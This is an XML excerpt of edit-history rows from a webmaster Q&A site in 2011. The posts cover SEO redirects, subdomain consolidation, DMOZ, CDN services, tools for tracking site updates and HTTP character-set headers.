  <row Id="44972" PostHistoryTypeId="2" PostId="18484" RevisionGUID="baa3b064-b800-45a6-847f-b9c4326be2b3" CreationDate="2011-08-19T22:57:00.033" UserId="4502" Text="For an integrated option:&#xD;&#xA;&#xD;&#xA;&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-idea-stream/&quot;&gt;WP Idea Stream&lt;/a&gt; adds a light Idea Management System to your WordPress Blog. Your members will be able to submit ideas from the front end. A star rating system and 4 widgets to display Ideas related content are included.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're okay with using a separate application, any of the various Stack Exchange clones like &lt;a href=&quot;http://www.osqa.net/&quot;&gt;OSQA&lt;/a&gt; would work. The system isn't going to care that you're collecting ideas rather than questions." />
  <row Id="44973" PostHistoryTypeId="6" PostId="18480" RevisionGUID="687ccf42-8cf2-4516-8f3b-3f9886ae7048" CreationDate="2011-08-19T22:58:16.430" UserId="4502" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;python&gt;" />
  <row Id="44974" PostHistoryTypeId="2" PostId="18485" RevisionGUID="6459c991-9830-43b4-8318-dc0e1c48c1ab" CreationDate="2011-08-19T23:34:28.537" UserId="9700" Text="Semantically the __bold__ tag [doesn't mean much](http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-b-element) and therefor I wouldn't consider it to be black hat SEO tactics. If however you were to do the same to the __strong__ or *em* tags you are definitely abusing their use.&#xD;&#xA;&#xD;&#xA;However, it might not be explicitly mentioned but like everyone has been saying it probably won't do your SEO any good. John makes a good point, why would you use it if it isn't for styling? Check [WHATWG](http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#text-level-semantics) for more information on the exact semantics of the different tags and choose the right on for your needs." />
  <row Id="44975" PostHistoryTypeId="2" PostId="18486" RevisionGUID="77b1fdf3-8450-4710-9512-0afe6ebdca85" CreationDate="2011-08-20T00:13:40.203" UserId="5809" Text="I have a situation where I have 2 sites about pretty equivalent topics. Originally I didn't know which domain was better so I tried both.  Now, clearly one has got more links to it, and has a higher page rank, and a number of pages there rank in google's top-10 for their keywords.&#xD;&#xA;&#xD;&#xA;My question is: what is the right way of redirecting the original domain's pages to the better domian so that the pages have a higher chance of ranking because they would be under the stronger domain?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="44976" PostHistoryTypeId="1" PostId="18486" RevisionGUID="77b1fdf3-8450-4710-9512-0afe6ebdca85" CreationDate="2011-08-20T00:13:40.203" UserId="5809" Text="301 redirect to boost SEO of the site being redirected to?" />
  <row Id="44977" PostHistoryTypeId="3" PostId="18486" RevisionGUID="77b1fdf3-8450-4710-9512-0afe6ebdca85" CreationDate="2011-08-20T00:13:40.203" UserId="5809" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="44978" PostHistoryTypeId="17" PostId="18487" RevisionGUID="7b76ba7a-2486-4b11-9be8-f8910d7e0ee8" CreationDate="2011-08-20T00:26:09.173" UserId="-1" Comment="from http://stackoverflow.com/questions/7128616/is-there-a-high-load-chat-software-script-out-there" Text="" />
  <row Id="44979" PostHistoryTypeId="2" PostId="18487" RevisionGUID="0fda5c4d-82e5-402a-9fae-5499ccff6534" CreationDate="2011-08-20T00:06:56.383" UserDisplayName="Michael" Text="We're in development of a website and we're looking into other options than just developing a chat engine ourselves.&#xD;&#xA;&#xD;&#xA;We've looked at CometChat and ArrowChat. Which look and seem to be great except that it uses PHP/MySQL. They offer to host your chat server which can handle 100,000+ but honestly we'd like to be hosting it on our own servers and handle way more than that.&#xD;&#xA;&#xD;&#xA;Know of any alternatives? We're looking for that Meebo/Facebook/CometChat/ArrowChat look and style but it needs to be fully customizable." />
  <row Id="44980" PostHistoryTypeId="1" PostId="18487" RevisionGUID="0fda5c4d-82e5-402a-9fae-5499ccff6534" CreationDate="2011-08-20T00:06:56.383" UserDisplayName="Michael" Text="Is there a high-load chat software / script out there?" />
  <row Id="44981" PostHistoryTypeId="3" PostId="18487" RevisionGUID="0fda5c4d-82e5-402a-9fae-5499ccff6534" CreationDate="2011-08-20T00:06:56.383" UserDisplayName="Michael" Text="&lt;php&gt;&lt;jquery&gt;&lt;mysql&gt;&lt;chat&gt;" />
  <row Id="44982" PostHistoryTypeId="25" PostId="18443" RevisionGUID="9c39961b-ad83-4fef-8343-e7d4c5d6658f" CreationDate="2011-08-20T00:34:58.703" Comment="http://twitter.com/#!/StackWebmasters/status/104712997787803648" />
  <row Id="44983" PostHistoryTypeId="2" PostId="18488" RevisionGUID="ad8c62f1-28b8-435e-86a1-cf7e331f9872" CreationDate="2011-08-20T03:11:40.497" UserId="1253" Text="A 301 redirect is exactly what you're looking for. Just do a 301 redirect from domain1.com/example.html to domain2.com/example.html. That will tell the search engines, and users, where the content is located. Additionally, it will tell Google that the new URL is the permanent URL for that content and to &quot;transfer&quot; all incoming links to the new URL.&#xD;&#xA;&#xD;&#xA;This is beneficial because internal linking is an important part of SEO. By having all of your content under one domain allows you to have a structured hierarchy of content which is a great way to prioritize content for both users and search engines." />
  <row Id="44984" PostHistoryTypeId="5" PostId="18486" RevisionGUID="78ac39a4-59c4-4d92-9b1d-536d1872f03d" CreationDate="2011-08-20T03:11:52.837" UserId="1253" Comment="deleted 9 characters in body" Text="I have a situation where I have 2 sites about pretty equivalent topics. Originally I didn't know which domain was better so I tried both.  Now, clearly one has got more links to it, and has a higher page rank, and a number of pages there rank in google's top-10 for their keywords.&#xD;&#xA;&#xD;&#xA;My question is: what is the right way of redirecting the original domain's pages to the better domian so that the pages have a higher chance of ranking because they would be under the stronger domain?&#xD;&#xA;" />
  <row Id="44985" PostHistoryTypeId="25" PostId="18481" RevisionGUID="79fad401-3660-4788-8bd7-4cdfe84a4b5a" CreationDate="2011-08-20T03:34:58.640" Comment="http://twitter.com/#!/StackWebmasters/status/104758295386009600" />
  <row Id="44986" PostHistoryTypeId="2" PostId="18489" RevisionGUID="8f1453b3-fa88-431e-ad01-1b2a2e2b7856" CreationDate="2011-08-20T03:43:58.707" UserId="6206" Text="I want to turn off Google's drop image in based searching. what i mean is when you go to google image engine, people can drop a picture into the search box and the result of the search will be displayed.&#xD;&#xA;&#xD;&#xA;I want to turn off that feature. How to do that?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="44987" PostHistoryTypeId="1" PostId="18489" RevisionGUID="8f1453b3-fa88-431e-ad01-1b2a2e2b7856" CreationDate="2011-08-20T03:43:58.707" UserId="6206" Text="Want to switch off Google drop in image based searching?" />
  <row Id="44988" PostHistoryTypeId="3" PostId="18489" RevisionGUID="8f1453b3-fa88-431e-ad01-1b2a2e2b7856" CreationDate="2011-08-20T03:43:58.707" UserId="6206" Text="&lt;google&gt;" />
  <row Id="44989" PostHistoryTypeId="2" PostId="18490" RevisionGUID="f2cadb7a-e14c-4eda-a7a0-0252e7a71194" CreationDate="2011-08-20T04:33:18.250" UserId="8799" Text="Ok, judging from the [faq][1] it proxies pages and images (up to 50M) and follows up visits (how many? all of them? wasting bandwidth?) and POST requests (up to 2M) to the original site.&#xD;&#xA;&#xD;&#xA;It does **not** serve **videos** or **swfs**, and I suppose zip files too are out of question.&#xD;&#xA;&#xD;&#xA;It proxies requests, but it modifies your webpages (to improve speed, yeah) this part of the service could break some scripts.&#xD;&#xA;&#xD;&#xA;It sounds good, as long as it stays free, but it's hard they keep it so.&#xD;&#xA;For a small fee, the amazon competition still looks in good shape.&#xD;&#xA;&#xD;&#xA;***The best thing*** about it, to me, is the fact the setup may happen ***during worst case/slashdot scenarios***, when you have no access to the overloaded server, but the DNS panel of your registrar may still be functional.&#xD;&#xA;&#xD;&#xA;***The worst thing*** is that *it's not clear* if in such scenario your server would be actually freed of the pression and clear to operate or *just clogged back again* in by the google proxy. I suppose it woud be freed, but the ***details on that are quite important*** and not clear.&#xD;&#xA;&#xD;&#xA;It may be a google way to shovel the *google apps* network of servers back in niches where it cannot go because of their choice of python as a programming language, *but that's just a hunch I have.*&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/pss/faq.html#limitations" />
  <row Id="44990" PostHistoryTypeId="5" PostId="18490" RevisionGUID="b4468e88-7527-4bf3-8d49-fcc953845ddf" CreationDate="2011-08-20T04:39:36.383" UserId="8799" Comment="added 63 characters in body" Text="Ok, judging from the [faq][1] it proxies pages and images (up to 50M) and follows up visits (how many? all of them? wasting bandwidth?) and POST requests (up to 2M) to the original site.&#xD;&#xA;&#xD;&#xA;It does **not** serve **videos** or **swfs**, and I suppose zip files too are out of question.&#xD;&#xA;&#xD;&#xA;It proxies requests, but it modifies your webpages (to improve speed, yeah) this part of the service could break some scripts.&#xD;&#xA;&#xD;&#xA;It sounds good, as long as it stays free, but it's hard they keep it so after testing is over.  &#xD;&#xA;For a small fee, the amazon competition still looks in good shape.&#xD;&#xA;&#xD;&#xA;***The best thing*** about it, to me, is the fact the setup may happen ***during worst case/slashdot scenarios***, when you have no access to the overloaded server, but the DNS panel of your registrar may still be functional.&#xD;&#xA;&#xD;&#xA;***The worst thing*** is that *it's not clear* if in such scenario your server would be actually freed of the pression and clear to operate or *just clogged back again* in by the google proxy. I suppose it woud be freed, but the ***details on that are quite important*** and not clear. *(as the service is **not officially focused on availability**)*&#xD;&#xA;&#xD;&#xA;It may be a google way to shovel the *google apps* network of servers back in niches where it cannot go because of their choice of python as a programming language, *but that's just a hunch I have.*&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/pss/faq.html#limitations" />
  <row Id="44991" PostHistoryTypeId="5" PostId="18481" RevisionGUID="9f42fcc3-7298-4a40-84fc-63a54da5334d" CreationDate="2011-08-20T04:47:33.627" UserId="693" Comment="added 2 characters in body" Text="I am using an html crown in my website, character code is `&amp;#9819;`, but this looks different in the browsers.&#xD;&#xA;&#xD;&#xA;    Firefox 6.0 -&gt; different&#xD;&#xA;    Chrome 13.0 -&gt; different&#xD;&#xA;    IE 9.0, Safari 5.1, Opera 11.50 -&gt; same&#xD;&#xA;&#xD;&#xA;I have tried to explicit add a font-family to the span, but this does not help.&#xD;&#xA;&#xD;&#xA;Anyone have an idea how I can get this the same in the browsers. &#xD;&#xA;&#xD;&#xA;Check this post in differnt browsers and see how the char changes. **&amp;#9819;**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44992" PostHistoryTypeId="2" PostId="18491" RevisionGUID="3f52d692-3d05-42a9-a82d-272233cecb39" CreationDate="2011-08-20T04:54:07.287" UserId="693" Text="Check out this link:&#xD;&#xA;&#xD;&#xA;http://www.google.com/#q=codinghorror.com&#xD;&#xA;&#xD;&#xA;How come his profile is chowing up in the search results?&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/kbwzs.png" />
  <row Id="44993" PostHistoryTypeId="1" PostId="18491" RevisionGUID="3f52d692-3d05-42a9-a82d-272233cecb39" CreationDate="2011-08-20T04:54:07.287" UserId="693" Text="How to get your Google profile in the search results when searching your website" />
  <row Id="44994" PostHistoryTypeId="3" PostId="18491" RevisionGUID="3f52d692-3d05-42a9-a82d-272233cecb39" CreationDate="2011-08-20T04:54:07.287" UserId="693" Text="&lt;google-search&gt;" />
  <row Id="44995" PostHistoryTypeId="2" PostId="18492" RevisionGUID="c76d0b4d-9d25-4d74-8783-c29b56955a88" CreationDate="2011-08-20T04:57:46.533" UserId="693" Text="Yeah I have recently come across a few free ones. The best that I have seen are:&#xD;&#xA;&#xD;&#xA;http://www.incapsula.com/  &#xD;&#xA;https://www.cloudflare.com/&#xD;&#xA;&#xD;&#xA;They have some security and other benefits also. Worth checking out.&#xD;&#xA;" />
  <row Id="44996" PostHistoryTypeId="5" PostId="18492" RevisionGUID="86bd2444-598b-4ac2-9caf-feef177dd48a" CreationDate="2011-08-20T05:04:15.780" UserId="693" Comment="added 538 characters in body" Text="Yeah I have recently come across a few free ones. The best that I have seen are:&#xD;&#xA;&#xD;&#xA;http://www.incapsula.com/  &#xD;&#xA;https://www.cloudflare.com/&#xD;&#xA;&#xD;&#xA;They have some security and other benefits also. Worth checking out.&#xD;&#xA;&#xD;&#xA;For some more information on what there is available out there it is also worth checking out http://cloudharmony.com. They do benchmarks and give out information on the major competitors.&#xD;&#xA;&#xD;&#xA;But from what I understand, for large commercial websites it's still better to use a CDN. These kind of speed up services are still a but buggy. Some of the speed up services also integrate a spam protection which can be buggy sometimes and block people.&#xD;&#xA;&#xD;&#xA;Note that the bug CDN's as amazon etc are not that expensive, only a few cents per gig." />
  <row Id="44997" PostHistoryTypeId="25" PostId="18452" RevisionGUID="b3f6fb03-d63e-4291-a0ec-d1cb07a3ffe5" CreationDate="2011-08-20T06:34:59.127" Comment="http://twitter.com/#!/StackWebmasters/status/104803595442061312" />
  <row Id="44998" PostHistoryTypeId="2" PostId="18493" RevisionGUID="bb48a6d2-823a-4897-af1a-7c749d673620" CreationDate="2011-08-20T08:01:10.250" UserId="4451" Text="We have a client that has multiple top level domains for the products they offer.  These products are different full fledged softwares.  They also have a domain for their actual company that makes these products.  We are consolidating their sites so that all of them can be managed by one backend.  One of our developers suggested to consolidate even more by moving their product tld's into sub domains of the company site.&#xD;&#xA;&#xD;&#xA;So instead of this:&lt;br /&gt;&#xD;&#xA;http://company.com&lt;br /&gt;&#xD;&#xA;http://product1.com&lt;br /&gt;&#xD;&#xA;http://product2.com&lt;br /&gt;&#xD;&#xA;http://product3.com&lt;br /&gt;&#xD;&#xA;http://product4.com&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;It would be this:&lt;br /&gt;&#xD;&#xA;http://company.com&lt;br /&gt;&#xD;&#xA;http://product1.company.com&lt;br /&gt;&#xD;&#xA;http://product2.company.com&lt;br /&gt;&#xD;&#xA;http://product3.company.com&lt;br /&gt;&#xD;&#xA;http://product4.company.com&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;They like their current spots they have on search engines for each of these tlds.  What consequences would happen they were to move them to sub domains. How (if any) can we prevent these consequences from happening?  Or is it better to keep them separate tlds?" />
  <row Id="44999" PostHistoryTypeId="1" PostId="18493" RevisionGUID="bb48a6d2-823a-4897-af1a-7c749d673620" CreationDate="2011-08-20T08:01:10.250" UserId="4451" Text="SEO consequences from transfering tld's to sub domains" />
  <row Id="45000" PostHistoryTypeId="3" PostId="18493" RevisionGUID="bb48a6d2-823a-4897-af1a-7c749d673620" CreationDate="2011-08-20T08:01:10.250" UserId="4451" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;subdomain&gt;&lt;tld&gt;" />
  <row Id="45001" PostHistoryTypeId="25" PostId="18491" RevisionGUID="0c0871ad-f7dc-438c-ae53-dc54697e641a" CreationDate="2011-08-20T09:34:59.643" Comment="http://twitter.com/#!/StackWebmasters/status/104848897188433920" />
  <row Id="45002" PostHistoryTypeId="2" PostId="18494" RevisionGUID="7ca1c33e-7d5f-4a16-b87b-3e6443583bbd" CreationDate="2011-08-20T10:20:57.133" UserId="8009" Text="I understand that having a listing in DMOZ isn't necessarily a 'good' backlink to have due to the 'weight' of links from fully categorized listings, but I was wondering if anyone could give any solid information on whether or not the directory is still actively reviewed?&#xD;&#xA;&#xD;&#xA;Last time I read up on the subject, there were xxx,xxx entries awaiting review with problems of 'corrupt' editors favouring their own listings and what not. Is the directory dead? Or just terribly slow at sifting through the large amount of new submissions." />
  <row Id="45003" PostHistoryTypeId="1" PostId="18494" RevisionGUID="7ca1c33e-7d5f-4a16-b87b-3e6443583bbd" CreationDate="2011-08-20T10:20:57.133" UserId="8009" Text="Is DMOZ still 'active'?" />
  <row Id="45004" PostHistoryTypeId="3" PostId="18494" RevisionGUID="7ca1c33e-7d5f-4a16-b87b-3e6443583bbd" CreationDate="2011-08-20T10:20:57.133" UserId="8009" Text="&lt;seo&gt;&lt;directory-listing&gt;&lt;dmoz&gt;" />
  <row Id="45005" PostHistoryTypeId="25" PostId="18494" RevisionGUID="abe11304-84a1-46df-bc99-18d55595c543" CreationDate="2011-08-20T12:35:00.340" Comment="http://twitter.com/#!/StackWebmasters/status/104894198154657793" />
  <row Id="45006" PostHistoryTypeId="5" PostId="18463" RevisionGUID="cec5d284-809f-479f-8b9d-fdeb72d9f4b5" CreationDate="2011-08-20T13:04:00.030" UserId="6570" Comment="formatting" Text="I am highlighting key words on my web pages using the `&lt;b&gt;` tag. I have set all `&lt;b&gt;` tags to `font-weight: normal` in my global stylesheet and was wondering if this would be considered a 'black hat' technique by search engines? My colleague seems to think so but i'm not too sure as it's just styling. Does anyone know or have an opinion?&#xD;&#xA;" />
  <row Id="45007" PostHistoryTypeId="24" PostId="18463" RevisionGUID="cec5d284-809f-479f-8b9d-fdeb72d9f4b5" CreationDate="2011-08-20T13:04:00.030" Comment="Proposed by 6570 approved by 1064 edit id of 495" />
  <row Id="45008" PostHistoryTypeId="10" PostId="18489" RevisionGUID="f5e7c976-f5c7-472d-be4d-21bcd12f26d3" CreationDate="2011-08-20T13:07:13.383" UserId="1064" CloseReasonId="3" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="45009" PostHistoryTypeId="2" PostId="18495" RevisionGUID="56f52d17-9f45-42b1-8a19-7c183827f96b" CreationDate="2011-08-20T13:12:10.273" UserId="1064" Text="    &lt;a rel=&quot;author&quot; href=&quot;https://profiles.google.com/&lt;your profile&gt;&quot;&gt;&#xD;&#xA;      &lt;your name&gt;&#xD;&#xA;    &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;[Author information in search results][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=1408986" />
  <row Id="45010" PostHistoryTypeId="2" PostId="18496" RevisionGUID="41f49fe9-ce94-4c60-83c4-d4d08d4896ad" CreationDate="2011-08-20T13:30:40.007" UserId="4306" Text="Great question. It has been a longstanding issue on Google that it defaults to ['last touch attribution'][1], meaning the conversion is attributed to the last channel a visitor arrives from.&#xD;&#xA;&#xD;&#xA;In the new version of Google Analytics, Google introduced [Multi-Channel Funnels][2], to show you &quot;how your marketing channels (i.e. sources of traffic to your website) work together to create sales and conversions.&quot;&#xD;&#xA;&#xD;&#xA;&gt; In the reports, channels are credited according to the roles they play&#xD;&#xA;&gt; in conversions-- how often they assisted and/or completed sales and&#xD;&#xA;&gt; conversions. The Assisted Conversions report shows how many sales and&#xD;&#xA;&gt; conversions each channel initiated, assisted and completed, and the&#xD;&#xA;&gt; value of those conversions and sales.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Top Conversion Paths report shows the conversion paths that your&#xD;&#xA;&gt; customers took on their way to purchase. Time Lag and Path Length&#xD;&#xA;&gt; reports show how long (in days and in interactions) it took for&#xD;&#xA;&gt; visitors to ultimately become customers.&#xD;&#xA;&#xD;&#xA;You can read the full documentation on Multi-Channel Funnels here:&#xD;&#xA;&#xD;&#xA;* https://www.google.com/support/analyticshelp/bin/answer.py?hl=en&amp;answer=1191180&#xD;&#xA;&#xD;&#xA;There is also a good overview video on the [GoogleAnalytics Youtube channel][3] here:&#xD;&#xA;&#xD;&#xA;* http://www.youtube.com/watch?v=rZ2RbGsuy3U&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To access the new version of GA, log into your account. You should see a link in the top nav bar named 'New Version'.&#xD;&#xA;&#xD;&#xA;If you don't see the new version link, you might need to opt-in for it here:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/analytics/analytics-funnels.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com.sg/search?q=last%20touch%20attribution&#xD;&#xA;  [2]: https://www.google.com/support/analyticshelp/bin/answer.py?hl=en&amp;answer=1191180&#xD;&#xA;  [3]: http://www.youtube.com/user/googleanalytics" />
  <row Id="45011" PostHistoryTypeId="6" PostId="18487" RevisionGUID="f9c649db-dc07-4725-82f2-8c0f4b7b9c0d" CreationDate="2011-08-20T13:37:10.567" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;mysql&gt;&lt;chat&gt;" />
  <row Id="45012" PostHistoryTypeId="2" PostId="18497" RevisionGUID="761ce1e4-334c-469e-8b3e-09b72f01ef9f" CreationDate="2011-08-20T14:04:59.707" UserId="4180" Text="I am looking for a free web host for a existing .com domain with pdo mysql enabled&#xD;&#xA;&#xD;&#xA;Can you help me?" />
  <row Id="45013" PostHistoryTypeId="1" PostId="18497" RevisionGUID="761ce1e4-334c-469e-8b3e-09b72f01ef9f" CreationDate="2011-08-20T14:04:59.707" UserId="4180" Text="Where can i find free webhosting with pdo mysql enabled?" />
  <row Id="45014" PostHistoryTypeId="3" PostId="18497" RevisionGUID="761ce1e4-334c-469e-8b3e-09b72f01ef9f" CreationDate="2011-08-20T14:04:59.707" UserId="4180" Text="&lt;mysql&gt;" />
  <row Id="45015" PostHistoryTypeId="2" PostId="18498" RevisionGUID="5b2588df-8fbf-40f4-b015-49982b6df36c" CreationDate="2011-08-20T14:16:52.480" UserId="7962" Text="I visit a good number of websites - around 100-200 - that don't offer RSS resources. I'm going to check through that list from time to time anyway but I could avoid wasting time in sites that weren't updated since last visit.&#xD;&#xA;&#xD;&#xA;Is there any tool that can provide me quick details any/major changes?" />
  <row Id="45016" PostHistoryTypeId="1" PostId="18498" RevisionGUID="5b2588df-8fbf-40f4-b015-49982b6df36c" CreationDate="2011-08-20T14:16:52.480" UserId="7962" Text="How to keep track of websites updates?" />
  <row Id="45017" PostHistoryTypeId="3" PostId="18498" RevisionGUID="5b2588df-8fbf-40f4-b015-49982b6df36c" CreationDate="2011-08-20T14:16:52.480" UserId="7962" Text="&lt;tracking&gt;" />
  <row Id="45018" PostHistoryTypeId="2" PostId="18499" RevisionGUID="b7562356-f4e2-49e6-969e-7b091f4402a7" CreationDate="2011-08-20T14:28:41.280" UserId="1064" Text="It's not the ideal solution, (you would need a bot spidering the sites in question and looking for updates - I am not aware of any free services which would provide this service, but there may be paid ones) but you could use [Google Alerts][1] to alert on an exact phrase which appears in the site template for each of the sites.&#xD;&#xA;&#xD;&#xA;(Disappointingly, Google's [`site:` operator][2] is not available within Google Alerts)&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA; 1. Sign in to your Google account (Gmail) and go to the [Google Alerts][3] page&#xD;&#xA; 2. Enter the exact phrase `&quot;Pro Webmasters Stack Exchange&quot;` (with quotation marks) in the textbox at the top of the page&#xD;&#xA; 3. Select:&#xD;&#xA; * Type: **Everything**&#xD;&#xA; * How often: **As-it-happens** (or your preference)&#xD;&#xA; * Volume: **All results**&#xD;&#xA; * Deliver to: **Feed**&#xD;&#xA;&#xD;&#xA;This configuration would compile a feed (stored in Google Reader) with the results which Google picks up (though not necessarily any publicly-available change).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts&#xD;&#xA;  [2]: http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=136861&amp;rd=1&#xD;&#xA;  [3]: http://www.google.com/alerts" />
  <row Id="45019" PostHistoryTypeId="5" PostId="18499" RevisionGUID="6b676def-cc06-46f8-99f7-9d93cea9c86a" CreationDate="2011-08-20T14:38:10.430" UserId="1064" Comment="Added atom feed information, formatting" Text="It's not the ideal solution, (you would need a bot spidering the sites in question and looking for updates* - I am not aware of any free services which would provide this service, but there may be paid ones) but you could use [Google Alerts][1] to alert on an exact phrase which appears in the site template for each of the sites.&#xD;&#xA;&#xD;&#xA;(* Disappointingly, Google's [`site:` operator][2] is not available within Google Alerts)&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA; 1. Sign in to your Google account (Gmail) and go to the [Google Alerts][3] page&#xD;&#xA; 2. Enter the exact phrase `&quot;Pro Webmasters Stack Exchange&quot;` (with quotation marks) in the textbox at the top of the page&#xD;&#xA; 3. Select:&#xD;&#xA; * Type: **Everything**&#xD;&#xA; * How often: **As-it-happens** (or your preference)&#xD;&#xA; * Volume: **All results**&#xD;&#xA; * Deliver to: **Feed**&#xD;&#xA;&#xD;&#xA;This configuration would compile a feed (stored in Google Reader) with the results which Google picks up (though not necessarily any publicly-available change).&#xD;&#xA;&#xD;&#xA;**Edit:** I have not tested it, but it appears as though creating the alerts as feed items (which, by the way, you will need to add to folders using the Manage Subscriptions dialog in Google Reader in order to see) will *also* create a publicly-accessible [Atom][4] feed which could be monitored from any other syndicated feed reader (which may be particularly useful if you are automating your solution - you could programmatically filter out results from domains other than those you wish to monitor).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts&#xD;&#xA;  [2]: http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=136861&amp;rd=1&#xD;&#xA;  [3]: http://www.google.com/alerts&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Atom_%28standard%29" />
  <row Id="45020" PostHistoryTypeId="2" PostId="18500" RevisionGUID="03c8190a-037c-4bc1-a93a-ad6928c09b9d" CreationDate="2011-08-20T14:43:06.260" UserId="4306" Text="I think only an editor can give you a true answer but, from my experience, DMOZ has been *awful* quiet since [Google dropped them in July][1].&#xD;&#xA;&#xD;&#xA;Let's see what the public thinks about DMOZ though...&#xD;&#xA;&#xD;&#xA;![Is DMOZ...][2]&#xD;&#xA;&#xD;&#xA;Ouch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmasterworld.com/google/4341560.htm&#xD;&#xA;  [2]: http://i.stack.imgur.com/1JssT.png" />
  <row Id="45021" PostHistoryTypeId="2" PostId="18501" RevisionGUID="d5852a4a-afe5-493d-abd5-db3596bf5e8a" CreationDate="2011-08-20T14:43:48.650" UserId="8354" Text="Few years back I was using [WebSite-Watcher](http://aignes.net/) Windows app (commercial). We used Basic edition -- was more than enough for our needs.&#xD;&#xA;&#xD;&#xA;It can:&#xD;&#xA;&#xD;&#xA; - highlight changes&#xD;&#xA; - has filtering system&#xD;&#xA; - only trigger when some specific keyword is present&#xD;&#xA; - etc (like, supports HTTPS &amp; FTP ...)&#xD;&#xA;&#xD;&#xA;Since then we have implemented our own system that is more precise / only does what we require in a more convenient way so we have stopped using this app. But it was good, stable and reliable -- no complains." />
  <row Id="45023" PostHistoryTypeId="5" PostId="18497" RevisionGUID="5d44c7e5-36e9-4722-920b-1ebd847ac7e7" CreationDate="2011-08-20T15:02:51.547" UserId="1253" Comment="modified tags, minor text edits" Text="I am looking for a free web host for a existing .com domain with pdo mysql enabled&#xD;&#xA;" />
  <row Id="45024" PostHistoryTypeId="6" PostId="18497" RevisionGUID="5d44c7e5-36e9-4722-920b-1ebd847ac7e7" CreationDate="2011-08-20T15:02:51.547" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;mysql&gt;&lt;looking-for-hosting&gt;" />
  <row Id="45025" PostHistoryTypeId="2" PostId="18503" RevisionGUID="801061ed-7925-4de7-bece-bb677492e6c9" CreationDate="2011-08-20T15:13:17.700" UserId="1253" Text="If those websites rank well in the search engines making a big change like moving them to subdomains is not advisable. Essentially you are creating new URLs and starting from scratch by doing so. Making a move like that will always result in at least a temporary loss of rankings as Google and the other search engines sort out the new locations for all of that content (see below).&#xD;&#xA;&#xD;&#xA;If you do make that move you will need to do 301 redirects for every page on those websites. By doing that you will tell both users and search engines where the content has moved to permanently. It also will tell Google Google to &quot;transfer&quot; incoming links and PageRank to the new URLs. However, the full value of those links are not &quot;transferred&quot; as their is a dampening factor applied whenever a 301 redirect is used so it is possible your rankings will not return to their previous spots.&#xD;&#xA;&#xD;&#xA;Your decision comes down to ease of maintenance vs potential search engine rankings drop. " />
  <row Id="45026" PostHistoryTypeId="2" PostId="18504" RevisionGUID="b086840b-7c68-465b-b6cb-197e3501f491" CreationDate="2011-08-20T15:25:44.710" UserId="231" Text="When testing [this][1] page with Page Speed, I get the a `Specify a character set` error: &#xD;&#xA;&#xD;&#xA;`The following resources have no character set specified in their HTTP headers. Specifying a character set in HTTP headers can speed up browser rendering.`&#xD;&#xA;&#xD;&#xA;The `Content-Type` tag is present and the page was saved with UTF-8 encoding as well, so where is the error coming from?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;[1]: http://www.dixitsolutions.com/" />
  <row Id="45027" PostHistoryTypeId="1" PostId="18504" RevisionGUID="b086840b-7c68-465b-b6cb-197e3501f491" CreationDate="2011-08-20T15:25:44.710" UserId="231" Text="Character set not specified in HTTP headers" />
  <row Id="45028" PostHistoryTypeId="3" PostId="18504" RevisionGUID="b086840b-7c68-465b-b6cb-197e3501f491" CreationDate="2011-08-20T15:25:44.710" UserId="231" Text="&lt;page-speed&gt;&lt;http-headers&gt;&lt;content-encoding&gt;" />
  <row Id="45029" PostHistoryTypeId="25" PostId="18498" RevisionGUID="3c957e7f-f9fd-41b9-9e3a-d3f0773d3707" CreationDate="2011-08-20T15:35:00.967" Comment="http://twitter.com/#!/StackWebmasters/status/104939498957324288" />
  <row Id="45030" PostHistoryTypeId="4" PostId="18504" RevisionGUID="c4515f17-ac3b-4775-8e77-b20464f07740" CreationDate="2011-08-20T15:40:21.017" UserId="231" Comment="edited title" Text="Character set not specified in HTTP headers error" />
